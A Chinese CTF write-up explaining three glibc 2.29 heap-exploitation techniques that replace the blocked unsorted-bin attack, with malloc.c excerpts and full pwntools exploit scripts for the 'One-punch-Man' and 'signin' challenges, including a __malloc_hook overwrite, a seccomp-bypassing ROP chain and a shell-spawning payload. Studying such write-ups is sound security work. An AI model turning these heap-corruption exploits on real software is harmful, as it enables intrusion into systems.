前言:

如今glibc已经发布了glibc 2.31版本,利用也变得越来越难,主要原因是新的版本中加入了更多的check,不过现在大多数的题目还是基于glibc2.23 2.27和2.29这3个版本。我们知道,glibc2.29相对于glibc2.23加入了更多的保护措施,而glibc2.29下对unsortedbin的保护措施相当于直接扼杀了unsortedbin attack,使其基本成为了过去式。本文将介绍一些glibc2.29下unsortbin attack的代替方法。

回顾

首先让我们回顾下unsortbin attack

的原理和作用,这里选取了glibc2.23的malloc.c的源码:

 for (;; ){int iters = 0;while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){bck = victim->bk;if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)|| __builtin_expect (victim->size > av->system_mem, 0))malloc_printerr (check_action, "malloc(): memory corruption",chunk2mem (victim), av);

我们可以看到,这里只check了size是否合法,而size一般都会满足条件,所以这个check形同虚设,紧接着的unsortedbin的解链操作:

 /* remove from unsorted list */unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);

当将一个 unsorted bin 取出的时候,会在 bck->fd的位置写入  unsorted_chunks (av) 。换句话说,如果我们控制了 victime->bk的值,我们就能控制bck的值,就能将 unsorted_chunks (av)写到任意地址 。这个值相当的大,我们一般用来攻击 global_max_fast ,使得更大size的chunk也被视为fastbin,从而进行fastbin attack;还有一个非常经典的利用就是house of orange。

接着来看glibc2.29中的源码:

for (;; ){int iters = 0;while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){bck = victim->bk;size = chunksize (victim);mchunkptr next = chunk_at_offset (victim, size);if (__glibc_unlikely (size <= 2 * SIZE_SZ)|| __glibc_unlikely (size > av->system_mem))malloc_printerr ("malloc(): invalid size (unsorted)");if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))malloc_printerr ("malloc(): invalid next size (unsorted)");if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");if (__glibc_unlikely (bck->fd != victim)|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))malloc_printerr ("malloc(): unsorted double linked list corrupted");if (__glibc_unlikely (prev_inuse (next)))malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

我们可以看到glibc 2.29先对于2.23来说对unsorted bin加入了更多的check,其中双向链表的完整性检查对我们的利用来说是致命的,这也导致unsorted bin在glibc 2.29下几乎不可利用,所以我们要寻找一些代替的方法。

我们以hitcon2019 quals One-punch-Man这题来实践下方法1和方法2,再以今年某新春公益赛的一题实践下方法3

程序分析

保护全开,libc版本是2.29,有seccomp:

ruan@ruan:/mnt/hgfs/shared/hitcon2019/one_punch$ seccomp-tools dump ./one_punchline  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 00030002: 0x06 0x00 0x00 0x00000000  return KILL0003: 0x20 0x00 0x00 0x00000000  A = sys_number0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 00060005: 0x06 0x00 0x00 0x7fff0000  return ALLOW0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 00080007: 0x06 0x00 0x00 0x7fff0000  return ALLOW0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 00100009: 0x06 0x00 0x00 0x7fff0000  return ALLOW0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 00120011: 0x06 0x00 0x00 0x7fff0000  return ALLOW0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 00140013: 0x06 0x00 0x00 0x7fff0000  return ALLOW0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 00160015: 0x06 0x00 0x00 0x7fff0000  return ALLOW0016: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 00180017: 0x06 0x00 0x00 0x7fff0000  return ALLOW0018: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 00200019: 0x06 0x00 0x00 0x7fff0000  return ALLOW0020: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 00220021: 0x06 0x00 0x00 0x7fff0000  return ALLOW0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 00240023: 0x06 0x00 0x00 0x7fff0000  return ALLOW0024: 0x06 0x00 0x00 0x00000000  return KILL

retire函数里的UAF:

void retire()
{unsigned int v0; // [rsp+Ch] [rbp-4h]writen("idx: ");v0 = get_int();if ( v0 > 2 )error((__int64)"invalid");free((void *)chunks[v0].ptr);
}

debut函数会先把我们的输入读入到栈上,然后才复制到申请的堆块中,所以可以利用这来进行rop

unsigned __int64 __fastcall debut(__int64 a1, __int64 a2)
{unsigned int v3; // [rsp+8h] [rbp-418h]signed int v4; // [rsp+Ch] [rbp-414h]char s[1032]; // [rsp+10h] [rbp-410h]unsigned __int64 v6; // [rsp+418h] [rbp-8h]v6 = __readfsqword(0x28u);writen("idx: ");v3 = get_int();if ( v3 > 2 )error((__int64)"invalid");writen("hero name: ");memset(s, 0, 0x400uLL);v4 = read(0, s, 0x400uLL);if ( v4 <= 0 )error((__int64)"io");s[v4 - 1] = 0;if ( v4 <= 0x7F || v4 > 0x400 )error((__int64)"poor hero name");chunks[v3].ptr = (__int64)calloc(1uLL, v4);chunks[v3].sz = v4;strncpy((char *)chunks[v3].ptr, s, v4);memset(s, 0, 0x400uLL);return __readfsqword(0x28u) ^ v6;
}

一个后门选项:

__int64 __fastcall sub_15BB(__int64 a1, __int64 a2)
{void *buf; // [rsp+8h] [rbp-8h]if ( *(_BYTE *)(heap_base + 0x20) <= 6 )error((__int64)"gg");buf = malloc(0x217uLL);if ( !buf )error((__int64)"err");if ( read(0, buf, 0x217uLL) <= 0 )error((__int64)"io");puts("Serious Punch!!!");puts(&unk_2128);return puts(buf);
}

题目的debut函数用的是calloc函数,意味着进入了tcache的堆块是不会在被取出来了(具体原因可以参考calloc源码),但是后门函数里用的是malloc,所以我们的目标就是要使得*(_BYTE *)(heap_base + 0x20) > 6,已达到利用后门的效果

方法1

很自然的想到要是能用unsortedbin attack就好了,但是这在glibc2.29下是行不通的,原因就是前面分析过的,glibc2.29对unsortedbin进行了全方位的检查。

我后来谷歌了下wp(https://medium.com/@ktecv2000/hitcon-ctf-2019-quals-one-punch-man-pwn-292pts-3e94eb3fd312),找到了一篇wp,里面用的方法有点类似于unsortedbin attack,不得不佩服大佬的思路。

文章里提到的方法是,当从smallbin里申请一个堆块的时候,会把剩下的smallbin也链入相对应大小的tcache,前提是相应大小的tcache没满,相对应的源码为:

if (in_smallbin_range (nb)){idx = smallbin_index (nb);bin = bin_at (av, idx);if ((victim = last (bin)) != bin){bck = victim->bk;if (__glibc_unlikely (bck->fd != victim))malloc_printerr ("malloc(): smallbin double linked list corrupted");set_inuse_bit_at_offset (victim, nb);bin->bk = bck;bck->fd = bin;if (av != &main_arena)set_non_main_arena (victim);check_malloced_chunk (av, victim, nb);
#if USE_TCACHE/* While we're here, if we see other chunks of the same size,stash them in the tcache.  */size_t tc_idx = csize2tidx (nb);if (tcache && tc_idx < mp_.tcache_bins){mchunkptr tc_victim;/* While bin not empty and tcache not full, copy chunks over.  */while (tcache->counts[tc_idx] < mp_.tcache_count&& (tc_victim = last (bin)) != bin){// 如果smallbin里相对应大小的tcache没满的话,就链入tcacheif (tc_victim != 0){bck = tc_victim->bk;set_inuse_bit_at_offset (tc_victim, nb);if (av != &main_arena)set_non_main_arena (tc_victim);bin->bk = bck;bck->fd = bin;tcache_put (tc_victim, tc_idx);}}}
#endifvoid *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;}}

此处是没有对smallbin进行check的:

if (tc_victim != 0){bck = tc_victim->bk;set_inuse_bit_at_offset (tc_victim, nb);if (av != &main_arena)set_non_main_arena (tc_victim);bin->bk = bck;bck->fd = bin;

所以我们可以伪造tc_victim->bk,然后到了bck->fd=bin这一句,就可以向一个地址写入一个libc的值了,类似于unsortedbin attack,要注意的话就是相对应大小的tcache bin为6个,这样的话tcache_put后,就会退出循环(tcache相同size的chunk最多7个),把chunk返回,不会造成段错误

这里还有个大问题,就是程序申请的堆块大小范围在0x7f~0x400之间,所以在tcache没满的情况下,free后都会进入tcache,那要怎么让一个大小的堆块,比如0x100大小的堆块,相对应的tcache bin有6块,而smallbin有两块呢,这里用到了last_remainder:

 if (in_smallbin_range (nb) &&bck == unsorted_chunks (av) &&victim == av->last_remainder &&(unsigned long) (size) > (unsigned long) (nb + MINSIZE)){/* split and reattach remainder */remainder_size = size - nb;remainder = chunk_at_offset (victim, nb);unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;av->last_remainder = remainder;remainder->bk = remainder->fd = unsorted_chunks (av);if (!in_smallbin_range (remainder_size)){remainder->fd_nextsize = NULL;remainder->bk_nextsize = NULL;}set_head (victim, nb | PREV_INUSE |(av != &main_arena ? NON_MAIN_ARENA : 0));set_head (remainder, remainder_size | PREV_INUSE);set_foot (remainder, remainder_size);check_malloced_chunk (av, victim, nb);void *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;}

比如我们把unsortedbin切成0x100的大小,如果在calloc一个比这个大的chunk,那这个unsortedbin就会被放到相对应大小的smallbin,对应的源码为:

/* place chunk in bin */if (in_smallbin_range (size)){victim_index = smallbin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;}else{victim_index = largebin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;

这样的话一切条件都有了 :P

还有一点要注意的是,我们用这个方法把heap+0x30的地方改写了,这样的话其实tcache会 corrupt 掉:

pwndbg> bins
tcachebins
0x100 [  7]: 0x563a59056000 —▸ 0x563a59053760 —▸ 0x563a59053660 —▸ 0x563a59053560 —▸ 0x563a59053460 —▸ 0x563a59053360 —▸ 0x563a59053260 ◂— 0x0
0x1d0 [-112]: 0x0
0x1e0 [-19]: 0x0
0x1f0 [-41]: 0x0
0x200 [-45]: 0x0
0x210 [-99]: 0x0
0x220 [125]: 0x0
0x410 [  7]: 0x563a590550c0 —▸ 0x563a59054cb0 —▸ 0x563a590548a0 —▸ 0x563a59054490 —▸ 0x563a59054080 —▸ 0x563a59053c70 —▸ 0x563a59053860 ◂— 0x0

所以我们要在攻击前先申请一个0x217大小的堆块,然后释放掉,在攻击

exp为:

from pwn import *context.arch = 'amd64'def debug(addr,PIE=True):if PIE:text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)gdb.attach(p,'b *{}'.format(hex(text_base+addr)))else:gdb.attach(p,"b *{}".format(hex(addr)))def cmd(c):p.recvuntil("> ")p.sendline(str(c))def add(idx,name):cmd(1)p.recvuntil("idx: ")p.sendline(str(idx))p.recvuntil("name: ")p.send(name)
def dele(idx):cmd(4)p.recvuntil("idx: ")p.sendline(str(idx))def show(idx):cmd(3)p.recvuntil("idx: ")p.sendline(str(idx))def edit(idx,name):cmd(2)p.recvuntil("idx: ")p.sendline(str(idx))p.recvuntil("name: ")p.send(name)def main(host,port=26976):global pif host:p = remote(host,port)else:p = process("./one_punch")# debug(0x0000000000015BB)# gdb.attach(p)for i in range(2):add(i,"A"*0xf8)dele(0)dele(1)show(1)p.recvuntil(": ")heap = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x260for i in range(4):add(0,"A"*0xf8)dele(0)for i in range(7):add(0,"A"*0x400)dele(0)for i in range(2):add(i,"A"*0x400)dele(0)show(0)p.recvuntil(": ")libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x1e4ca0info("heap : " + hex(heap))info("libc : " + hex(libc.address))add(1,"A"*0x300)add(2,"A"*0x400)add(1,"A"*0x400)dele(2)add(1,"A"*0x300)add(1,"A"*0x400)add(0,"A"*0x217)payload = b"\x00"*0x108+b"/flag.txt"+b"\x00"*(0x7+0x1f0)+p64(0x101)+p64(heap+0x27d0)+p64(heap+0x30-0x10-5)edit(2,payload)dele(0)add(2,"A"*0xf8)edit(0,p64(libc.symbols["__malloc_hook"]))cmd(str(50056))p.send("C"*8)cmd(str(50056))p.send(p64(libc.address+0x000000000008cfd6))# pause()# 0x000000000008cfd6: add rsp, 0x48; ret;# 0x0000000000026542: pop rdi; ret;# 0x000000000012bdc9: pop rdx; pop rsi; ret;# 0x0000000000047cf8: pop rax; ret;# 0x00000000000cf6c5: syscall; ret;p_rdi = 0x0000000000026542+libc.addressp_rdx_rsi = 0x000000000012bdc9+libc.addressp_rax = 0x0000000000047cf8+libc.addresssyscall_ret = 0x00000000000cf6c5+libc.addresspayload = p64(p_rdi)+p64(heap+0x2df8)+p64(p_rdx_rsi)+p64(0)*2+p64(p_rax)+p64(2)+p64(syscall_ret)payload += p64(p_rdi)+p64(3)+p64(p_rdx_rsi)+p64(0x80)+p64(heap+0x2d00)+p64(p_rax)+p64(0)+p64(syscall_ret)payload += p64(p_rdi)+p64(1)+p64(p_rax)+p64(1)+p64(syscall_ret)payload += p64(p_rdi)+p64(0)+p64(p_rax)+p64(0)+p64(syscall_ret)payload = payload.ljust(0x100,b"\x00")gdb.attach(p)add(2,payload)p.interactive()if __name__ == "__main__":libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)main(args['REMOTE'])

方法2

方法2是Balsn战队的wp(https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#one-punch-man)里用到的largebin_attack,首先我觉得一个难点是这题申请的堆块最大为0x410,怎么把大小比0x410还大的unsortedbin放入largebin是第一个要解决的问题,所以从源码入手:

 /*If a small request, try to use last remainder if it is theonly chunk in unsorted bin.  This helps promote locality forruns of consecutive small requests. This is the onlyexception to best-fit, and applies only when there isno exact fit for a small chunk.*/if (in_smallbin_range (nb) &&bck == unsorted_chunks (av) &&victim == av->last_remainder &&(unsigned long) (size) > (unsigned long) (nb + MINSIZE)){/* split and reattach remainder */remainder_size = size - nb;

这是判断是否要把last remainder进行切割的代码,如果条件不满足的话就会进入下面的代码:

/* remove from unsorted list */if (__glibc_unlikely (bck->fd != victim))malloc_printerr ("malloc(): corrupted unsorted chunks 3");unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);/* Take now instead of binning if exact fit *///我们使得size != nb,跳过这个代码块if (size == nb){set_inuse_bit_at_offset (victim, size);if (av != &main_arena)set_non_main_arena (victim);
.........................................................}
#endif}/* place chunk in bin */if (in_smallbin_range (size)){victim_index = smallbin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;}else{// 将chunk置入largebinvictim_index = largebin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;

所以wp里的堆布局为:

这样当我们malloc(0x200)的堆块时,就会不满足bck == unsorted_chunks (av)和if (size == nb)从而把这个chunk(0x5601e80414c0)置入largebin中,第二次循环的时候,发现unsorted bin的size刚刚好,直接就取出返回

largebins
0x400: 0x5601e80414c0 —▸ 0x7f58e3c64090 (main_arena+1104)  ◂— 0x5601e80414c0

这样的话就解决了这个问题,剩下的就是怎么进行largebin_attack了,原理为:

 if (in_smallbin_range (size)){victim_index = smallbin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;}else  //要放入的chunk是largebin{victim_index = largebin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;/* maintain large bins in sorted order */if (fwd != bck){/* Or with inuse bit to speed comparisons */size |= PREV_INUSE;/* if smaller than smallest, bypass loop below */assert (chunk_main_arena (bck->bk));if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk)){fwd = bck;bck = bck->bk;victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize;fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}else{assert (chunk_main_arena (fwd));while ((unsigned long) size < chunksize_nomask (fwd)){fwd = fwd->fd_nextsize;assert (chunk_main_arena (fwd));}if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))/* Always insert in the second position.  */fwd = fwd->fd;else  //原本在largebin(fwd)的size和要放入的largebin(victim)的size不等{victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;  //!!!!victim->bk_nextsize->fd_nextsize = victim;}bck = fwd->bk;}}elsevictim->fd_nextsize = victim->bk_nextsize = victim;}mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;

所以我们可以利用程序里的UAF漏洞伪造好fwd->bk_nextsize,随后的victim->bk_nextsize->fd_nextsize = victim;就会在fwd->bk_nextsize+0x20的位置写入victim这个值,如果我们让这个堆地址写入到heap_base+0x20的位置就能使用后门函数了,这里要注意的一个点就是待插入的chunk的size要和已经在largebin里的chunk的size不相等。

来看看效果:

把unsortedbin放入largebin之前

放入后(这里的堆基地址为0x565505852000)

可以看到0x220大小的chunk被改为了有48个,这样我们就可以利用后门函数申请到__malloc_hook了

具体的exp见 https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#one-punch-man

方法3

方法3是在打今年某公益ctf的时候学到的,题目名字叫signin

程序逻辑很短,只能add10次:

unsigned __int64 add()
{unsigned int idx; // [rsp+Ch] [rbp-24h]__int64 s; // [rsp+10h] [rbp-20h]__int64 v3; // [rsp+18h] [rbp-18h]unsigned __int64 v4; // [rsp+28h] [rbp-8h]v4 = __readfsqword(0x28u);puts("idx?");s = 0LL;v3 = 0LL;memset(&s, 0, 0x10uLL);read(0, &s, 0xFuLL);idx = atoi((const char *)&s);if ( addcnt >= 0 && idx <= 0xF ){ptrlist[idx] = malloc(0x70uLL);flags[idx] = 1;--addcnt;  //addcnt 初始值为9}return __readfsqword(0x28u) ^ v4;
}

dele后flags会置零,但指针没置零,故可以UAF:

unsigned __int64 del()
{unsigned int idx; // [rsp+Ch] [rbp-24h]__int64 s; // [rsp+10h] [rbp-20h]__int64 v3; // [rsp+18h] [rbp-18h]unsigned __int64 v4; // [rsp+28h] [rbp-8h]v4 = __readfsqword(0x28u);puts("idx?");s = 0LL;v3 = 0LL;memset(&s, 0, 0x10uLL);read(0, &s, 0xFuLL);idx = atoi((const char *)&s);if ( idx <= 0xF && flags[idx] == 1 ){free(ptrlist[idx]);flags[idx] = 0;}return __readfsqword(0x28u) ^ v4;
}

但是不能double free,因为glibc2.29在free tcache的时候会对tcache进行check:

/* This test succeeds on double free.  However, we don't 100%trust it (it also matches random payload data at a 1 in2^<size_t> chance), so verify it's not an unlikelycoincidence before aborting.  */if (__glibc_unlikely (e->key == tcache)){tcache_entry *tmp;LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);for (tmp = tcache->entries[tc_idx];tmp;tmp = tmp->next)if (tmp == e)malloc_printerr ("free(): double free detected in tcache 2");/* If we get here, it was a coincidence.  We've wasted afew cycles, but don't abort.  */}

还有就是仅有的一次edit机会和一个后门,不过后门要满足bss段中的ptr不为零:

void __noreturn backdoor()
{calloc(1uLL, 0x70uLL);if ( ptr )system("/bin/sh");exit(0);
}

这里一开始想到的也是unsortedbin attack,如果能攻击到bss段中的ptr,那我们就能getshell了,但是这题申请的堆块固定了是0x70,故也就不能利用unsortedbin attack

我们可以看到这个backdoor函数很诡异,为什么要平白无故调用一个calloc,然后又想到程序限制了申请的堆块大小为0x70,是在fastbin的范围里,顺着这两点,去看源码,最后找到了利用点:

static void *
_int_malloc (mstate av, size_t bytes)
{...............................
#if USE_TCACHEsize_t tcache_unsorted_count;      /* count of unsorted chunks processed */
#endifchecked_request2size (bytes, nb);/* There are no usable arenas.  Fall back to sysmalloc to get a chunk frommmap.  */...................................................../*If the size qualifies as a fastbin, first check corresponding bin.This code is safe to execute even if av is not yet initialized, so wecan try it without checking, which saves some time on this fast path.*/
...................................        if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())){idx = fastbin_index (nb);mfastbinptr *fb = &fastbin (av, idx);mchunkptr pp;victim = *fb;if (victim != NULL){if (SINGLE_THREAD_P)*fb = victim->fd;elseREMOVE_FB (fb, pp, victim);if (__glibc_likely (victim != NULL)){size_t victim_idx = fastbin_index (chunksize (victim));if (__builtin_expect (victim_idx != idx, 0))malloc_printerr ("malloc(): memory corruption (fast)");check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE/* While we're here, if we see other chunks of the same size,stash them in the tcache.  */size_t tc_idx = csize2tidx (nb);if (tcache && tc_idx < mp_.tcache_bins){mchunkptr tc_victim;/* While bin not empty and tcache not full, copy chunks.  */while (tcache->counts[tc_idx] < mp_.tcache_count&& (tc_victim = *fb) != NULL){if (SINGLE_THREAD_P)*fb = tc_victim->fd;else{REMOVE_FB (fb, pp, tc_victim);if (__glibc_unlikely (tc_victim == NULL))break;}tcache_put (tc_victim, tc_idx);}}
#endif

我们可以看到这句注释:/* While bin not empty and tcache not full, copy chunks. */,应该是fastbin再取下一块之后,如果fastbin还有剩余,而且对应大小的tcache没满,就把它放到对应大小的tcache,而且这里没有任何检查,在跟进去tcache_put:

tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);assert (tc_idx < TCACHE_MAX_BINS);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free.  */e->key = tcache;e->next = tcache->entries[tc_idx];tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}

这有句e->key = tcache;这是为了检查tcache的double free,如果我们伪造了那个fastbin chunk,我们就可以往chunk+0x18的位置写入tcache的值,效果和原来的unsortedbin attack很像

效果:

pwndbg> bins
tcachebins
0x80 [  6]: 0x21c84e0 —▸ 0x21c8460 —▸ 0x21c83e0 —▸ 0x21c8360 —▸ 0x21c82e0 —▸ 0x21c8260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x21c8650 —▸ 0x4040a8 ◂— 0xffffffff00000000

调用calloc后:

pwndbg> bins
tcachebins
0x80 [  7]: 0x4040b8 (completed) —▸ 0x21c84e0 —▸ 0x21c8460 —▸ 0x21c83e0 —▸ 0x21c8360 —▸ 0x21c82e0 —▸ 0x21c8260 ◂— 0x0
pwndbg> telescope 0x4040b8+8
00:0000│   0x4040c0 (ptr) —▸ 0x21c8010 ◂— 0x7000000000000
01:0008│   0x4040c8 ◂— 0x0

成功把tcache写入ptr,这也是为什么后门函数在一开始会有个诡异的calloc,顺带一提的是calloc不会使用tcache里的堆块

exp:

from pwn import *context.arch = 'amd64'def cmd(c):p.recvuntil("your choice?")p.sendline(str(c))def add(idx):cmd(1)p.recvuntil("idx?")p.sendline(str(idx))
def dele(idx):cmd(3)p.recvuntil("idx?")p.sendline(str(idx))
def edit(idx,content):cmd(2)p.recvuntil("idx?")p.send(str(idx).ljust(0xf,"\x00"))p.send(content)def main(host,port=4205):global pif host:p = remote(host,port)else:p = process("./pwn")gdb.attach(p,"b *0x000000000401343")# gdb.attach(p)for i in range(9):add(i)for i in range(9):dele(i)edit(8,p64(0x0000000004040C0-0x18))add(1)cmd(6)p.interactive()if __name__ == "__main__":# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)# elf = ELF("./re-alloc",checksec=False)main(args['REMOTE'])

后记

3种方法都介绍完毕了,这里在提一下glibc源码调试,这对我们解决题目有很大的帮助:

先下载一个Ubuntu19.04,用VMware装上,或者用docker去pull一个Ubuntu19.04的镜像

接着

sudo apt install glibc-source
sudo apt install libc6-dbg
sudo tar -xf /usr/src/glibc/glibc-2.29.tar.xz

搞好后,在程序运行时gdb贴上去/usr/src/glibc/glibc-2.29/是源码目录,然后后面的文件夹要自己指定下,比如我想源码调试malloc里的函数:

pwndbg> directory /usr/src/glibc/glibc-2.29/malloc

效果:

如果没敲directory /usr/src/glibc/glibc-2.29/malloc,就不会出现相对应的源码,个人觉得还是挺方便的,特别是涉及到chunk分配的时候,看着相对应的源码一行一行的debug,体验很好。

参考链接

https://medium.com/@ktecv2000/hitcon-ctf-2019-quals-one-punch-man-pwn-292pts-3e94eb3fd312

https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#one-punch-man

实验推荐

CTF-PWN练习之精确覆盖变量数据 http://hetianlab.com/expc.do?ec=ECID172.19.104.182014110113362900001

glibc2.29下unsortedbin_attack的替代方法相关推荐

  1. Centos7 64位 -- glibc-2.29 编译升级方法(已成功)

    某软件出现漏洞,需要升级解决(忘了哪个)结果提示glibc版本过低. 懵懂无知的我以为glibc想其他软件一样编译升级一下就好.. 结果? 重装系统! 说真的,如非必要(或学习),请勿升级 glibc ...

  2. AndroidOrientation Sensor(方向传感器),新的替代方法详解(安卓官方提供)

    本文将带大家去解读下安卓官方关于方向传感器数据,提供的新方法.熟悉手机传感器开发的朋友对这段代码一定不会陌生吧. sm.registerListener(this, sm.getDefaultSens ...

  3. [转载]Android系统上(mv不可用)cp命令的替代方法

    Android系统上cp命令的替代方法 情况是这样的:该台Android手机不提供adb root的权限,但又不能装破解root权限的软件,若要往Android手机的/system/和/data/分区 ...

  4. glibc2.29+的off by null利用

    glibc2.29+的off by null利用 本文首发自跳跳糖(http://tttang.com/archive/1614/) 本文介绍了off by null的爆破法和直接法两类做法,并基于已 ...

  5. glibc-2.29 large bin attack 原理

    glibc-2.29 large bin attack 原理 原创: 星盟安全团队 星盟安全 该方法并非笔者发现,而是阅读 balsn 的 writeup 时分析而得到的,这里介绍一下这种攻击方法. ...

  6. Linux下环境变量配置方法梳理(.bash_profile和.bashrc的区别)

    博客园 首页 新随笔 联系 管理 订阅 <div class="blogStats"><!--done--> 随笔- 556  文章- 38  评论- 77 ...

  7. batch lr替代关系_建立关系的替代方法

    batch lr替代关系 Linear regression is one of the most well-known and simple tools for statistics and mac ...

  8. php json_encode 替代方法 (亦可显示中文)

    json_encode在ajax应用的开发里是必不可少的一个函数,但是json_encode的使用条件是比较苛刻的,需要在php 5.2.0以上并且需要PECL json在1.2.0以上才可以使用. ...

  9. Jquery下的Ajax调试方法

    Jquery下的Ajax调试方法 介绍 本文介绍Jquery下的Ajax调试方法:很多调试方法,就是一点就通,但是,在还没有通之前,会让人困惑,不知所以然: Ajax 可以为用户提供更为丰富的用户体验 ...

最新文章

  1. 如何独立开发一个网络请求框架
  2. 隐藏讨厌的桌面挂载卷图标
  3. 只运行一个实例的方法
  4. HOJ 13828 Funfair
  5. android.mk 添加v7_Android.mk引入第三方jar包和so库文件的方法
  6. linux服务器数据库和监听自启动,linux64的神通数据库安装与启动
  7. 新手抖音直播需要什么设备;看完让你少花冤枉钱。
  8. php 旅游网毕业论文,旅游网站毕业设计论文(优质范文6篇)
  9. (简单控制) 关于使用NI max 的GPIB来控制安捷伦万用表34401A 的操作方法
  10. knockout的监控数组实现 - 司徒正美
  11. 什么是蜜罐?底层原理是什么?
  12. springboot整合Hystrix 熔断器
  13. 情人节程序员用HTML网页表白【爱心表白】 HTML5七夕情人节表白网页源码 HTML+CSS+JavaScript
  14. 老式录像带VHS信号故障毛刺干扰特效AE/PR插件 Signal v1.2.3
  15. cdn缓存服务器有网站图片,cdn缓存服务器上传图片
  16. 如何搭建一个优酷、爱奇艺这样的视频网站,都会有哪些技术难点
  17. 程序员的沟通技巧-耗子叔
  18. HTML5 canvas绘制太阳系各行星(包括月球的公转)
  19. php加解密易语言源码,易语言PHP加密源码
  20. wangEditor自定义上传图片上传按钮,适合各种JS或者后端上传

热门文章

  1. 学校网站激活正版微软系统和软件
  2. 2022山东省安全员C证考试练习题及模拟考试
  3. 2021年江苏省安全员A证考试资料及江苏省安全员A证考试试题
  4. 整数溢出体现的哲学道理
  5. python 批量替换同文件夹下所有文件的指定内容
  6. 2022-2028全球锂电铜箔行业调研及趋势分析报告
  7. 关于各种边界条件下复合双孔油藏的井底压力
  8. 简单教会你如何获取淘宝/天猫店铺的所有商品
  9. 双路1080Ti主机ubuntu16.04.3+nivdia小白安装记录
  10. 手淘千牛前端消息开放融合 - 双十一在星巴克消息开放项目的思考实践